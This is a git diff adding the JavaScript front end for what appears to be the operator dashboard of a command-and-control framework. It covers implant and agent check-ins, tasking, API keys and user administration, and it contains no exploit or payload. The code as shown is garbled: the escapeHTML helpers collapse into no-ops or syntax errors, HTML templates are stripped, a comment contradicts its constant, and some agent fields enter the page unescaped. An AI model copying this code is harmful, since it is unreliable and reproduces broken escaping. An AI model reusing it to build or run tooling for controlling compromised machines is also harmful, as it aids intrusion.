els.cancelDeleteAgentButton = document.getElementById('cancelDeleteAgentButton'); + els.confirmDeleteAgentButton = document.getElementById('confirmDeleteAgentButton'); + els.deleteTargetDetails = document.getElementById('deleteTargetDetails'); + els.deleteAgentMessage = document.getElementById('deleteAgentMessage'); + els.interactModal = document.getElementById('interactModal'); + els.interactTitle = document.getElementById('interactTitle'); + els.interactSubtitle = document.getElementById('interactSubtitle'); + els.interactAgentChip = document.getElementById('interactAgentChip'); + els.interactHint = document.getElementById('interactHint'); + els.interactLog = document.getElementById('interactLog'); + els.interactCommand = document.getElementById('interactCommand'); + els.interactCommandHelp = document.getElementById('interactCommandHelp'); + els.interactArgsContainer = document.getElementById('interactArgsContainer'); + els.interactMessage = document.getElementById('interactMessage'); + els.sendInteractButton = document.getElementById('sendInteractButton'); + els.clearInteractButton = document.getElementById('clearInteractButton'); + els.closeInteractButton = document.getElementById('closeInteractButton'); + els.cancelInteractButton = document.getElementById('cancelInteractButton'); + els.historyModal = document.getElementById('historyModal'); + els.historyTitle = document.getElementById('historyTitle'); + els.historySubtitle = document.getElementById('historySubtitle'); + els.historySearch = document.getElementById('historySearch'); + els.historySummary = document.getElementById('historySummary'); + els.historyList = document.getElementById('historyList'); + els.historyMessage = document.getElementById('historyMessage'); + els.refreshHistoryButton = document.getElementById('refreshHistoryButton'); + els.closeHistoryButton = document.getElementById('closeHistoryButton'); + els.doneHistoryButton = document.getElementById('doneHistoryButton'); + }; + + const main = async () => { + if (!requireAuth()) return; + cacheElements(); + initializeTheme(); + initializeLogout(); + initializeHandlers(); + renderServer(); + + try { + await loadAgents(); + } catch (error) { + // setError, not setMessage: on a first load there is genuinely nothing + // to show, so the table is replaced, but the reason has to land + // somewhere the user can actually read it. + setError(error.message || 'Failed to load agents.'); + els.agentsTableBody.innerHTML = '
Unable to load agents.
'; + } + }; + + document.addEventListener('DOMContentLoaded', main); +})(); diff --git a/webui/assets/js/app.js b/webui/assets/js/app.js new file mode 100644 index 0000000..4142a73 --- /dev/null +++ b/webui/assets/js/app.js @@ -0,0 +1,429 @@ +(() => { + const STORAGE_KEYS = { + theme: 'altin.theme', + token: 'altin.token', + serverUrl: 'altin.serverUrl', + }; + + const state = { + serverUrl: '', + token: '', + agents: [], + tasks: [], + tasksUnavailable: false, + }; + + const els = {}; + + const palette = [ + '#d4af37', '#7aa2f7', '#8bd17c', '#e88f6a', '#c97ff5', '#55c0b7', '#f0c674', '#d46a6a' + ]; + + // An agent that checked in more recently than this counts as active. Tombili's default + // check-in interval is 10s with 5s of jitter, so 60s tolerates a few missed callbacks + // while still flagging agents whose sleep interval has been raised via setsleep. + const ACTIVE_WINDOW_MS = 300 * 1000; + + // Shown instead of a number when a metric's source endpoint failed, so a 0 is never + // mistaken for "none exist". + const UNAVAILABLE = '—'; + + const normalizeServer = (value) => value.trim().replace(/\/+$/, ''); + + const escapeHTML = (value) => String(value ?? '') + .replace(/&/g, '&') + .replace(//g, '>') + .replace(/"/g, '"') + .replace(/'/g, '''); + + const setTheme = (theme) => { + const nextTheme = theme === 'light' ? 'light' : 'dark'; + document.documentElement.setAttribute('data-theme', nextTheme); + localStorage.setItem(STORAGE_KEYS.theme, nextTheme); + if (els.themeToggle) { + els.themeToggle.textContent = nextTheme === 'dark' ? 'Light' : 'Dark'; + els.themeToggle.setAttribute('aria-label', `Switch to ${nextTheme === 'dark' ? 'light' : 'dark'} theme`); + } + }; + + const getTheme = () => localStorage.getItem(STORAGE_KEYS.theme) || 'dark'; + + // The header carries no progress or success text any more - only failures, which + // is what used to get silently dropped when these elements were missing. The + // element starts empty and .page-error:empty hides it, so a healthy load leaves + // no residue under the page title. + const setError = (message) => { + if (!els.pageError) return; + els.pageError.textContent = message; + }; + + const redirectToLogin = () => { + window.location.href = '/login.html'; + }; + + const requireAuth = () => { + const token = localStorage.getItem(STORAGE_KEYS.token); + const serverUrl = localStorage.getItem(STORAGE_KEYS.serverUrl); + + if (!token || !serverUrl) { + redirectToLogin(); + return false; + } + + state.token = token; + state.serverUrl = normalizeServer(serverUrl); + return true; + }; + + const apiFetch = async (path, options = {}) => { + const headers = new Headers(options.headers || {}); + headers.set('Authorization', state.token); + + if (options.body && !headers.has('Content-Type')) { + headers.set('Content-Type', 'application/json'); + } + + const response = await fetch(`${state.serverUrl}${path}`, { + ...options, + headers, + }); + + if (response.status === 401) { + redirectToLogin(); + throw new Error('Unauthorized'); + } + + return response; + }; + + const loadJSON = async (path) => { + const response = await apiFetch(path); + const payload = await response.json().catch(() => ({})); + if (!response.ok) { + throw new Error(payload.message || `Request failed (${response.status}) for ${path}`); + } + return payload; + }; + + const formatNumber = (value) => new Intl.NumberFormat().format(value || 0); + + // The server writes naive *local* timestamps (datetime.now()) but serialises them + // with a GMT/UTC label, so parsing that label as UTC makes every timestamp look + // hours in the past. Here that silently pinned every live agent to "Inactive". + // + // Rule: a real numeric offset (or Z) is authoritative and is trusted as-is. A bare + // GMT/UTC label on an otherwise naive value is that bug, so the wall-clock fields + // are re-read as local time instead. + // + // This is only exact when the browser and the server share a timezone, which holds + // for single-host deployments. The real fix is datetime.now(timezone.utc) in + // server/altin/agent.py. + const parseServerTime = (value) => { + if (!value) return NaN; + if (typeof value === 'number') return value; + if (/^\d{10,}$/.test(String(value).trim())) return Number(value); + + const text = String(value).trim(); + + if (/[+-]\d{2}:?\d{2}$/.test(text) || /Z$/i.test(text)) { + return new Date(text).getTime(); + } + + const iso = text.match(/^(?:[A-Za-z]{3},?\s*)?(\d{4})-(\d{2})-(\d{2})[T ](\d{2}):(\d{2}):(\d{2})/); + if (iso) { + return new Date(+iso[1], +iso[2] - 1, +iso[3], +iso[4], +iso[5], +iso[6]).getTime(); + } + + const rfc = text.match(/^[A-Za-z]{3},?\s*(\d{1,2})\s+([A-Za-z]{3})\s+(\d{4})\s+(\d{2}):(\d{2}):(\d{2})/); + if (rfc) { + const months = ['jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul', 'aug', 'sep', 'oct', 'nov', 'dec']; + const month = months.indexOf(rfc[2].toLowerCase()); + if (month >= 0) { + return new Date(+rfc[3], month, +rfc[1], +rfc[4], +rfc[5], +rfc[6]).getTime(); + } + } + + return new Date(text).getTime(); + }; + + const formatTimeAgo = (value) => { + const time = parseServerTime(value); + if (!Number.isFinite(time)) return 'unknown'; + + const delta = Math.max(0, Date.now() - time); + const minutes = Math.floor(delta / 60000); + const hours = Math.floor(minutes / 60); + const days = Math.floor(hours / 24); + + if (days > 0) return `${days}d ago`; + if (hours > 0) return `${hours}h ago`; + if (minutes > 0) return `${minutes}m ago`; + return 'just now'; + }; + + const isAgentActive = (agent) => { + const lastSeen = parseServerTime(agent.last_checkin); + if (!Number.isFinite(lastSeen)) return false; + return (Date.now() - lastSeen) < ACTIVE_WINDOW_MS; + }; + + const buildCountMap = (items, keyFn) => { + const map = new Map(); + items.forEach((item) => { + const key = keyFn(item) || 'unknown'; + map.set(key, (map.get(key) || 0) + 1); + }); + return [...map.entries()].sort((a, b) => b[1] - a[1]); + }; + + const renderMetrics = () => { + const sent = state.tasks.filter((task) => task.sent).length; + const completed = state.tasks.filter((task) => task.completed).length; + const active = state.agents.filter(isAgentActive).length; + const inactive = state.agents.length - active; + // A 0 here would read as "no tasks exist" when the truth is "we could not ask". + const taskValue = state.tasksUnavailable ? UNAVAILABLE : formatNumber(state.tasks.length); + const taskNote = state.tasksUnavailable ? 'task endpoint returned an error' : null; + + els.metricAgents.textContent = formatNumber(state.agents.length); + els.metricActive.textContent = formatNumber(active); + els.metricInactive.textContent = formatNumber(inactive); + els.metricTasks.textContent = taskValue; + els.metricSent.textContent = state.tasksUnavailable ? UNAVAILABLE : formatNumber(sent); + els.metricCompleted.textContent = state.tasksUnavailable ? UNAVAILABLE : formatNumber(completed); + }; + + const drawPieChart = (canvas, data) => { + const ctx = canvas.getContext('2d'); + const dpr = Math.max(1, window.devicePixelRatio || 1); + const size = Math.floor(canvas.clientWidth); + + canvas.width = size * dpr; + canvas.height = size * dpr; + ctx.setTransform(dpr, 0, 0, dpr, 0, 0); + ctx.clearRect(0, 0, size, size); + + const total = data.reduce((sum, item) => sum + item.value, 0); + const center = size / 2; + const radius = size * 0.36; + let startAngle = -Math.PI / 2; + + ctx.save(); + ctx.translate(center, center); + + if (!total) { + ctx.beginPath(); + ctx.arc(0, 0, radius, 0, Math.PI * 2); + ctx.fillStyle = 'rgba(255,255,255,0.03)'; + ctx.fill(); + ctx.lineWidth = 1; + ctx.strokeStyle = 'rgba(255,255,255,0.08)'; + ctx.stroke(); + ctx.restore(); + return; + } + + data.forEach((item, index) => { + const angle = (item.value / total) * Math.PI * 2; + ctx.beginPath(); + ctx.moveTo(0, 0); + ctx.arc(0, 0, radius, startAngle, startAngle + angle); + ctx.closePath(); + ctx.fillStyle = palette[index % palette.length]; + ctx.fill(); + startAngle += angle; + }); + + ctx.beginPath(); + ctx.arc(0, 0, radius * 0.58, 0, Math.PI * 2); + ctx.fillStyle = getComputedStyle(document.documentElement).getPropertyValue('--bg-panel'); + ctx.fill(); + + ctx.restore(); + }; + + const renderDonut = ({ canvas, legend, totalChip, centerTotal, subtitle, keyFn, caption, emptyLabel }) => { + const counts = buildCountMap(state.agents, keyFn); + const total = state.agents.length; + const slices = counts.map(([name, value]) => ({ name, value })); + + totalChip.textContent = formatNumber(total); + centerTotal.textContent = formatNumber(total); + subtitle.textContent = total ? caption : 'no agents registered'; + + if (!slices.length) { + legend.innerHTML = `
${emptyLabel}
`; + drawPieChart(canvas, []); + return; + } + + legend.innerHTML = slices.map((item, index) => ` +
+
+ + ${escapeHTML(item.name)} +
+ ${item.value} +
+ `).join(''); + + drawPieChart(canvas, slices); + }; + + const renderCharts = () => { + renderDonut({ + canvas: els.chartCanvas, + legend: els.legendList, + totalChip: els.chartTotal, + centerTotal: els.chartTotalCenter, + subtitle: els.chartSubtitle, + keyFn: (agent) => agent.implant_id, + caption: 'agents by implant type', + emptyLabel: 'No implant types available yet.', + }); + + renderDonut({ + canvas: els.osChartCanvas, + legend: els.osLegendList, + totalChip: els.osChartTotal, + centerTotal: els.osChartTotalCenter, + subtitle: els.osChartSubtitle, + keyFn: (agent) => agent.os, + caption: 'agents by operating system', + emptyLabel: 'No operating systems available yet.', + }); + }; + + const renderRecentAgents = () => { + const recent = [...state.agents].sort((a, b) => new Date(b.last_checkin) - new Date(a.last_checkin)).slice(0, 6); + + if (!recent.length) { + els.recentList.innerHTML = '
No agents have checked in yet.
'; + return; + } + + els.recentList.innerHTML = recent.map((agent) => ` +
+
+
${agent.ip}
+ ${agent.os} +
+
+ ${agent.implant_id} + ${formatTimeAgo(agent.last_checkin)} + ${(agent.tags || []).length} tags +
+
+ `).join(''); + }; + + const renderHeaderMeta = () => { + const server = state.serverUrl.replace(/^https?:\/\//, ''); + if (els.serverChip) { + els.serverChip.textContent = server; + } + }; + + const sortAgents = () => { + state.agents.sort((a, b) => { + const ipCompare = (a.ip || '').localeCompare(b.ip || '', undefined, { numeric: true, sensitivity: 'base' }); + if (ipCompare !== 0) return ipCompare; + return (a.implant_id || '').localeCompare(b.implant_id || '', undefined, { sensitivity: 'base' }); + }); + }; + + const loadOverview = async () => { + setError(''); + state.tasksUnavailable = false; + + // Settled rather than all: the agents and tasks endpoints are independent, and one + // failing must not discard the other's data. /api/tasks in particular 500s whenever a + // task references a deleted agent, which would otherwise blank the whole dashboard. + const [agentsOutcome, tasksOutcome] = await Promise.allSettled([ + loadJSON('/api/agents'), + loadJSON('/api/tasks'), + ]); + + const agentsFailed = agentsOutcome.status === 'rejected'; + const tasksFailed = tasksOutcome.status === 'rejected'; + + state.agents = agentsFailed ? [] : (agentsOutcome.value.agents || []); + if (!agentsFailed) sortAgents(); + + state.tasks = tasksFailed ? [] : (tasksOutcome.value.tasks || []); + state.tasksUnavailable = tasksFailed; + + renderMetrics(); + renderCharts(); + renderRecentAgents(); + renderHeaderMeta(); + + if (agentsFailed) { + setError(agentsOutcome.reason?.message || 'Failed to load agents.'); + els.legendList.innerHTML = '
Unable to load overview data.
'; + els.osLegendList.innerHTML = '
Unable to load overview data.
'; + els.recentList.innerHTML = '
Unable to load recent agents.
'; + return; + } + + // A task failure is not fatal - the task cards fall back to an em dash and the + // rest of the dashboard is still accurate - so it is reported here rather than + // blanking the page. + if (tasksFailed) { + setError(tasksOutcome.reason?.message || 'Failed to load tasks.'); + } + }; + + const initializeTheme = () => { + setTheme(getTheme()); + els.themeToggle.addEventListener('click', () => { + setTheme(getTheme() === 'dark' ? 'light' : 'dark'); + }); + }; + + const initializeLogout = () => { + els.logoutButton.addEventListener('click', () => { + localStorage.removeItem(STORAGE_KEYS.token); + redirectToLogin(); + }); + }; + + const cacheElements = () => { + els.themeToggle = document.getElementById('themeToggle'); + els.logoutButton = document.getElementById('logoutButton'); + els.pageError = document.getElementById('pageError'); + els.serverChip = document.getElementById('serverChip'); + els.metricAgents = document.getElementById('metricAgents'); + els.metricActive = document.getElementById('metricActive'); + els.metricInactive = document.getElementById('metricInactive'); + els.metricTasks = document.getElementById('metricTasks'); + els.metricSent = document.getElementById('metricSent'); + els.metricCompleted = document.getElementById('metricCompleted'); + els.chartCanvas = document.getElementById('chartCanvas'); + els.chartTotal = document.getElementById('chartTotal'); + els.chartTotalCenter = document.getElementById('chartTotalCenter'); + els.chartSubtitle = document.getElementById('chartSubtitle'); + els.legendList = document.getElementById('legendList'); + els.osChartCanvas = document.getElementById('osChartCanvas'); + els.osChartTotal = document.getElementById('osChartTotal'); + els.osChartTotalCenter = document.getElementById('osChartTotalCenter'); + els.osChartSubtitle = document.getElementById('osChartSubtitle'); + els.osLegendList = document.getElementById('osLegendList'); + els.recentList = document.getElementById('recentList'); + }; + + const main = async () => { + if (!requireAuth()) { + return; + } + + cacheElements(); + initializeTheme(); + initializeLogout(); + await loadOverview(); + window.addEventListener('resize', renderCharts); + }; + + document.addEventListener('DOMContentLoaded', main); +})(); diff --git a/webui/assets/js/auth.js b/webui/assets/js/auth.js new file mode 100644 index 0000000..26fc702 --- /dev/null +++ b/webui/assets/js/auth.js @@ -0,0 +1,193 @@ +(() => { + const STORAGE_KEYS = { + theme: 'altin.theme', + token: 'altin.token', + serverUrl: 'altin.serverUrl', + savedServers: 'altin.savedServers', + }; + + const state = { + pendingLogin: null, + }; + + const els = {}; + + const readJSON = (key, fallback) => { + try { + const raw = localStorage.getItem(key); + return raw ? JSON.parse(raw) : fallback; + } catch { + return fallback; + } + }; + + const writeJSON = (key, value) => { + localStorage.setItem(key, JSON.stringify(value)); + }; + + const normalizeServer = (value) => value.trim().replace(/\/+$/, ''); + + const getTheme = () => localStorage.getItem(STORAGE_KEYS.theme) || 'dark'; + + const setTheme = (theme) => { + const nextTheme = theme === 'light' ? 'light' : 'dark'; + document.documentElement.setAttribute('data-theme', nextTheme); + localStorage.setItem(STORAGE_KEYS.theme, nextTheme); + if (els.themeToggle) { + els.themeToggle.textContent = nextTheme === 'dark' ? 'Light' : 'Dark'; + els.themeToggle.setAttribute('aria-label', `Switch to ${nextTheme === 'dark' ? 'light' : 'dark'} theme`); + } + }; + + const showMessage = (message, tone = '') => { + if (!els.loginMessage) return; + els.loginMessage.textContent = message; + els.loginMessage.dataset.tone = tone; + }; + + const getSavedServers = () => { + const servers = readJSON(STORAGE_KEYS.savedServers, []); + return Array.isArray(servers) ? servers : []; + }; + + const saveServerEntry = ({ url, username }) => { + const servers = getSavedServers(); + const normalizedUrl = normalizeServer(url); + const existingIndex = servers.findIndex((entry) => entry.url === normalizedUrl); + const entry = { + url: normalizedUrl, + label: normalizedUrl, + lastUsed: new Date().toISOString(), + }; + + if (existingIndex >= 0) { + servers[existingIndex] = entry; + } else { + servers.unshift(entry); + } + + writeJSON(STORAGE_KEYS.savedServers, servers.slice(0, 10)); + }; + + const renderSavedServers = () => { + const servers = getSavedServers(); + if (!els.savedServerWrap || !els.savedServer) return; + + if (!servers.length) { + els.savedServerWrap.classList.add('hidden'); + els.savedServer.innerHTML = ''; + return; + } + + els.savedServerWrap.classList.remove('hidden'); + els.savedServer.innerHTML = [ + '', + ...servers.map((entry, index) => ``), + ].join(''); + }; + + const applyServerSelection = (index) => { + const servers = getSavedServers(); + if (index === '' || index == null) return; + const entry = servers[Number(index)]; + if (!entry) return; + + els.serverUrl.value = entry.url; + showMessage(`Loaded ${entry.label || entry.url}`, ''); + }; + + const goHome = () => { + window.location.href = '/index.html'; + }; + + const persistAuth = ({ token, url, username }) => { + localStorage.setItem(STORAGE_KEYS.token, token); + localStorage.setItem(STORAGE_KEYS.serverUrl, normalizeServer(url)); + }; + + const login = async (event) => { + event.preventDefault(); + showMessage('Signing in…'); + + const url = normalizeServer(els.serverUrl.value); + const username = els.username.value.trim(); + const password = els.password.value; + + if (!url || !username || !password) { + showMessage('All fields are required.', 'error'); + return; + } + + try { + const response = await fetch(`${url}/api/login`, { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + }, + body: JSON.stringify({ username, password }), + }); + + const payload = await response.json().catch(() => ({})); + + if (!response.ok) { + throw new Error(payload.message || 'Login failed.'); + } + + persistAuth({ token: payload.token, url, username }); + if (els.rememberServer?.checked) { + saveServerEntry({ url, username }); + renderSavedServers(); + } + + showMessage('Login successful.', 'success'); + goHome(); + } catch (error) { + showMessage(error.message || 'Unable to reach the server.', 'error'); + } + }; + + const initializeThemeToggle = () => { + setTheme(getTheme()); + els.themeToggle?.addEventListener('click', () => { + setTheme(getTheme() === 'dark' ? 'light' : 'dark'); + }); + }; + + const initializeSavedServerPicker = () => { + renderSavedServers(); + els.savedServer?.addEventListener('change', (event) => applyServerSelection(event.target.value)); + }; + + const initializeLoginHandlers = () => { + els.loginForm?.addEventListener('submit', login); + }; + + const restoreDefaults = () => { + const serverUrl = localStorage.getItem(STORAGE_KEYS.serverUrl); + + if (serverUrl) { + els.serverUrl.value = serverUrl; + } + }; + + const cacheElements = () => { + els.themeToggle = document.getElementById('themeToggle'); + els.loginForm = document.getElementById('loginForm'); + els.serverUrl = document.getElementById('serverUrl'); + els.username = document.getElementById('username'); + els.password = document.getElementById('password'); + els.loginMessage = document.getElementById('loginMessage'); + els.savedServerWrap = document.getElementById('savedServerWrap'); + els.savedServer = document.getElementById('savedServer'); + els.rememberServer = document.getElementById('rememberServer'); + }; + + document.addEventListener('DOMContentLoaded', () => { + cacheElements(); + initializeThemeToggle(); + restoreDefaults(); + initializeSavedServerPicker(); + initializeLoginHandlers(); + showMessage('Choose a server and sign in to continue.'); + }); +})(); diff --git a/webui/assets/js/keys.js b/webui/assets/js/keys.js new file mode 100644 index 0000000..8050ec4 --- /dev/null +++ b/webui/assets/js/keys.js @@ -0,0 +1,344 @@ +(() => { + const STORAGE_KEYS = { + theme: 'altin.theme', + token: 'altin.token', + serverUrl: 'altin.serverUrl', + }; + + const state = { + serverUrl: '', + token: '', + keys: [], + filteredKeys: [], + search: '', + editingKey: null, + revealedKeys: new Set(), + }; + + const els = {}; + + const normalizeServer = (value) => value.trim().replace(/\/+$/, ''); + + const escapeHTML = (value) => String(value ?? '') + .replace(/&/g, '&') + .replace(//g, '>') + .replace(/"/g, '"') + .replace(/'/g, '''); + + const setTheme = (theme) => { + const nextTheme = theme === 'light' ? 'light' : 'dark'; + document.documentElement.setAttribute('data-theme', nextTheme); + localStorage.setItem(STORAGE_KEYS.theme, nextTheme); + if (els.themeToggle) { + els.themeToggle.textContent = nextTheme === 'dark' ? 'Light' : 'Dark'; + } + }; + + const getTheme = () => localStorage.getItem(STORAGE_KEYS.theme) || 'dark'; + + const redirectToLogin = () => { + window.location.href = '/login.html'; + }; + + const requireAuth = () => { + const token = localStorage.getItem(STORAGE_KEYS.token); + const serverUrl = localStorage.getItem(STORAGE_KEYS.serverUrl); + + if (!token || !serverUrl) { + redirectToLogin(); + return false; + } + + state.token = token; + state.serverUrl = normalizeServer(serverUrl); + return true; + }; + + const apiFetch = async (path, options = {}) => { + const headers = new Headers(options.headers || {}); + headers.set('Authorization', state.token); + + if (options.body && !headers.has('Content-Type')) { + headers.set('Content-Type', 'application/json'); + } + + const response = await fetch(`${state.serverUrl}${path}`, { + ...options, + headers, + }); + + if (response.status === 401) { + redirectToLogin(); + throw new Error('Unauthorized'); + } + + return response; + }; + + const loadJSON = async (path) => { + const response = await apiFetch(path); + const payload = await response.json().catch(() => ({})); + if (!response.ok) { + throw new Error(payload.message || `Request failed for ${path}`); + } + return payload; + }; + + const setMessage = (message, tone = '') => { + if (!els.keyModalMessage) return; + els.keyModalMessage.textContent = message; + els.keyModalMessage.dataset.tone = tone; + }; + + const renderServer = () => { + if (els.serverChip) { + els.serverChip.textContent = state.serverUrl.replace(/^https?:\/\//, ''); + } + }; + + const formatKey = (key) => state.revealedKeys.has(key.id) + ? `${escapeHTML(key.key)}` + : '••••••••••••'; + + const renderTable = () => { + const query = state.search.trim().toLowerCase(); + const keys = state.keys.filter((key) => { + if (!query) return true; + return [key.id, key.name, key.key].some((value) => String(value || '').toLowerCase().includes(query)); + }); + + state.filteredKeys = keys; + els.keysCount.textContent = `${keys.length} total`; + + if (!keys.length) { + els.keysTableBody.innerHTML = '
No keys match the current search.
'; + return; + } + + els.keysTableBody.innerHTML = keys.map((key) => ` + + ${escapeHTML(key.id)} + ${escapeHTML(key.name)} + ${formatKey(key)} + +
+ + + + +
+ + + `).join(''); + }; + + const loadKeys = async () => { + const payload = await loadJSON('/api/keys'); + state.keys = payload.keys || []; + state.keys.sort((a, b) => (a.name || '').localeCompare(b.name || '', undefined, { sensitivity: 'base' })); + renderTable(); + }; + + const openModal = (key = null) => { + state.editingKey = key; + els.keyModal.classList.add('is-open'); + els.keyModal.classList.remove('hidden'); + els.keyModal.setAttribute('aria-hidden', 'false'); + els.keyModalTitle.textContent = key ? 'Replace key' : 'Create key'; + els.saveKeyButton.textContent = key ? 'Replace key' : 'Save key'; + els.keyName.value = key?.name || ''; + els.keyValue.value = key?.key || ''; + setMessage(''); + els.keyName.focus(); + }; + + const closeModal = () => { + els.keyModal.classList.remove('is-open'); + els.keyModal.classList.add('hidden'); + els.keyModal.setAttribute('aria-hidden', 'true'); + state.editingKey = null; + setMessage(''); + }; + + const saveKey = async () => { + const name = els.keyName.value.trim(); + const key = els.keyValue.value.trim(); + if (!name || !key) { + setMessage('Name and key are required.', 'error'); + return; + } + + setMessage(state.editingKey ? 'Updating key…' : 'Creating key…'); + + try { + if (state.editingKey) { + await apiFetch('/api/keys', { + method: 'DELETE', + body: JSON.stringify({ id: state.editingKey.id }), + }); + } + + const response = await apiFetch('/api/keys', { + method: 'POST', + body: JSON.stringify({ name, key }), + }); + + if (!response.ok) { + const payload = await response.json().catch(() => ({})); + throw new Error(payload.message || 'Unable to save key.'); + } + + await loadKeys(); + closeModal(); + } catch (error) { + setMessage(error.message || 'Unable to save key.', 'error'); + } + }; + + const deleteKey = async (id) => { + if (!confirm('Delete this key?')) return; + try { + const response = await apiFetch('/api/keys', { + method: 'DELETE', + body: JSON.stringify({ id }), + }); + if (!response.ok && response.status !== 204) { + const payload = await response.json().catch(() => ({})); + throw new Error(payload.message || 'Unable to delete key.'); + } + state.revealedKeys.delete(id); + await loadKeys(); + } catch (error) { + setMessage(error.message || 'Unable to delete key.', 'error'); + } + }; + + const copyKey = async (id) => { + const key = state.keys.find((entry) => entry.id === id); + if (!key) return; + try { + await navigator.clipboard.writeText(key.key); + // Show a temporary confirmation + const button = document.querySelector(`[data-key-action="copy"][data-key-id="${escapeHTML(id)}"]`); + if (button) { + const originalText = button.textContent; + button.textContent = 'Copied!'; + setTimeout(() => { + button.textContent = originalText; + }, 2000); + } + } catch (error) { + console.error('Failed to copy key:', error); + // Fallback for older browsers or secure context issues + const textArea = document.createElement('textarea'); + textArea.value = key.key; + document.body.appendChild(textArea); + textArea.select(); + try { + document.execCommand('copy'); + const button = document.querySelector(`[data-key-action="copy"][data-key-id="${escapeHTML(id)}"]`); + if (button) { + const originalText = button.textContent; + button.textContent = 'Copied!'; + setTimeout(() => { + button.textContent = originalText; + }, 2000); + } + } catch (fallbackError) { + console.error('Fallback copy also failed:', fallbackError); + } + document.body.removeChild(textArea); + } + }; + + const initializeTheme = () => { + setTheme(getTheme()); + els.themeToggle.addEventListener('click', () => { + setTheme(getTheme() === 'dark' ? 'light' : 'dark'); + }); + }; + + const initializeLogout = () => { + els.logoutButton.addEventListener('click', () => { + localStorage.removeItem(STORAGE_KEYS.token); + redirectToLogin(); + }); + }; + + const initializeHandlers = () => { + els.keySearch.addEventListener('input', (event) => { + state.search = event.target.value; + renderTable(); + }); + + els.refreshKeysButton.addEventListener('click', loadKeys); + els.createKeyButton.addEventListener('click', () => openModal()); + els.closeKeyModalButton.addEventListener('click', closeModal); + els.cancelKeyModalButton.addEventListener('click', closeModal); + els.keyModal.addEventListener('click', (event) => { + if (event.target === els.keyModal) closeModal(); + }); + els.saveKeyButton.addEventListener('click', saveKey); + + els.keysTableBody.addEventListener('click', (event) => { + const button = event.target.closest('[data-key-action]'); + if (!button) return; + const id = button.dataset.keyId; + const key = state.keys.find((entry) => entry.id === id); + if (!key) return; + + switch (button.dataset.keyAction) { + case 'toggle': + if (state.revealedKeys.has(id)) state.revealedKeys.delete(id); else state.revealedKeys.add(id); + renderTable(); + break; + case 'copy': + copyKey(id); + break; + case 'edit': + openModal(key); + break; + case 'delete': + deleteKey(id); + break; + } + }); + }; + + const cacheElements = () => { + els.themeToggle = document.getElementById('themeToggle'); + els.logoutButton = document.getElementById('logoutButton'); + els.serverChip = document.getElementById('serverChip'); + els.refreshKeysButton = document.getElementById('refreshKeysButton'); + els.createKeyButton = document.getElementById('createKeyButton'); + els.keySearch = document.getElementById('keySearch'); + els.keysCount = document.getElementById('keysCount'); + els.keysTableBody = document.getElementById('keysTableBody'); + els.keyModal = document.getElementById('keyModal'); + els.closeKeyModalButton = document.getElementById('closeKeyModalButton'); + els.cancelKeyModalButton = document.getElementById('cancelKeyModalButton'); + els.keyModalTitle = document.getElementById('keyModalTitle'); + els.keyModalMessage = document.getElementById('keyModalMessage'); + els.keyName = document.getElementById('keyName'); + els.keyValue = document.getElementById('keyValue'); + els.saveKeyButton = document.getElementById('saveKeyButton'); + }; + + const main = async () => { + if (!requireAuth()) return; + cacheElements(); + initializeTheme(); + initializeLogout(); + initializeHandlers(); + renderServer(); + try { + await loadKeys(); + } catch (error) { + setMessage(error.message || 'Unable to load keys.', 'error'); + els.keysTableBody.innerHTML = '
Unable to load keys.
'; + } + }; + + document.addEventListener('DOMContentLoaded', main); +})(); diff --git a/webui/assets/js/users.js b/webui/assets/js/users.js new file mode 100644 index 0000000..fe45600 --- /dev/null +++ b/webui/assets/js/users.js @@ -0,0 +1,324 @@ +(() => { + const STORAGE_KEYS = { + theme: 'altin.theme', + token: 'altin.token', + serverUrl: 'altin.serverUrl', + }; + + const state = { + serverUrl: '', + token: '', + users: [], + search: '', + editingUser: null, + }; + + const els = {}; + + const normalizeServer = (value) => value.trim().replace(/\/+$/, ''); + const escapeHTML = (value) => String(value ?? '') + .replace(/&/g, '&') + .replace(//g, '>') + .replace(/"/g, '"') + .replace(/'/g, '''); + + const setTheme = (theme) => { + const nextTheme = theme === 'light' ? 'light' : 'dark'; + document.documentElement.setAttribute('data-theme', nextTheme); + localStorage.setItem(STORAGE_KEYS.theme, nextTheme); + if (els.themeToggle) { + els.themeToggle.textContent = nextTheme === 'dark' ? 'Light' : 'Dark'; + } + }; + + const getTheme = () => localStorage.getItem(STORAGE_KEYS.theme) || 'dark'; + + const redirectToLogin = () => { + window.location.href = '/login.html'; + }; + + const requireAuth = () => { + const token = localStorage.getItem(STORAGE_KEYS.token); + const serverUrl = localStorage.getItem(STORAGE_KEYS.serverUrl); + + if (!token || !serverUrl) { + redirectToLogin(); + return false; + } + + state.token = token; + state.serverUrl = normalizeServer(serverUrl); + + try { + const payloadPart = token.split('.')[1] || ''; + const base64 = payloadPart.replace(/-/g, '+').replace(/_/g, '/'); + const padded = base64 + '='.repeat((4 - (base64.length % 4 || 4)) % 4); + const payload = JSON.parse(atob(padded)); + if (!payload.admin) { + window.location.href = '/index.html'; + return false; + } + } catch { + window.location.href = '/index.html'; + return false; + } + + return true; + }; + + const apiFetch = async (path, options = {}) => { + const headers = new Headers(options.headers || {}); + headers.set('Authorization', state.token); + + if (options.body && !headers.has('Content-Type')) { + headers.set('Content-Type', 'application/json'); + } + + const response = await fetch(`${state.serverUrl}${path}`, { + ...options, + headers, + }); + + if (response.status === 401) { + redirectToLogin(); + throw new Error('Unauthorized'); + } + + return response; + }; + + const loadJSON = async (path) => { + const response = await apiFetch(path); + const payload = await response.json().catch(() => ({})); + if (!response.ok) { + throw new Error(payload.message || `Request failed for ${path}`); + } + return payload; + }; + + const setMessage = (message, tone = '') => { + if (!els.userModalMessage) return; + els.userModalMessage.textContent = message; + els.userModalMessage.dataset.tone = tone; + }; + + const renderServer = () => { + if (els.serverChip) { + els.serverChip.textContent = state.serverUrl.replace(/^https?:\/\//, ''); + } + }; + + const renderTable = () => { + const query = state.search.trim().toLowerCase(); + const users = state.users.filter((user) => { + if (!query) return true; + return [user.id, user.username].some((value) => String(value || '').toLowerCase().includes(query)); + }); + + els.usersCount.textContent = `${users.length} total`; + + if (!users.length) { + els.usersTableBody.innerHTML = '
No users match the current search.
'; + return; + } + + els.usersTableBody.innerHTML = users.map((user) => ` + + ${escapeHTML(user.id)} + ${escapeHTML(user.username)} + ${user.admin ? 'Admin' : 'User'} + +
+ + +
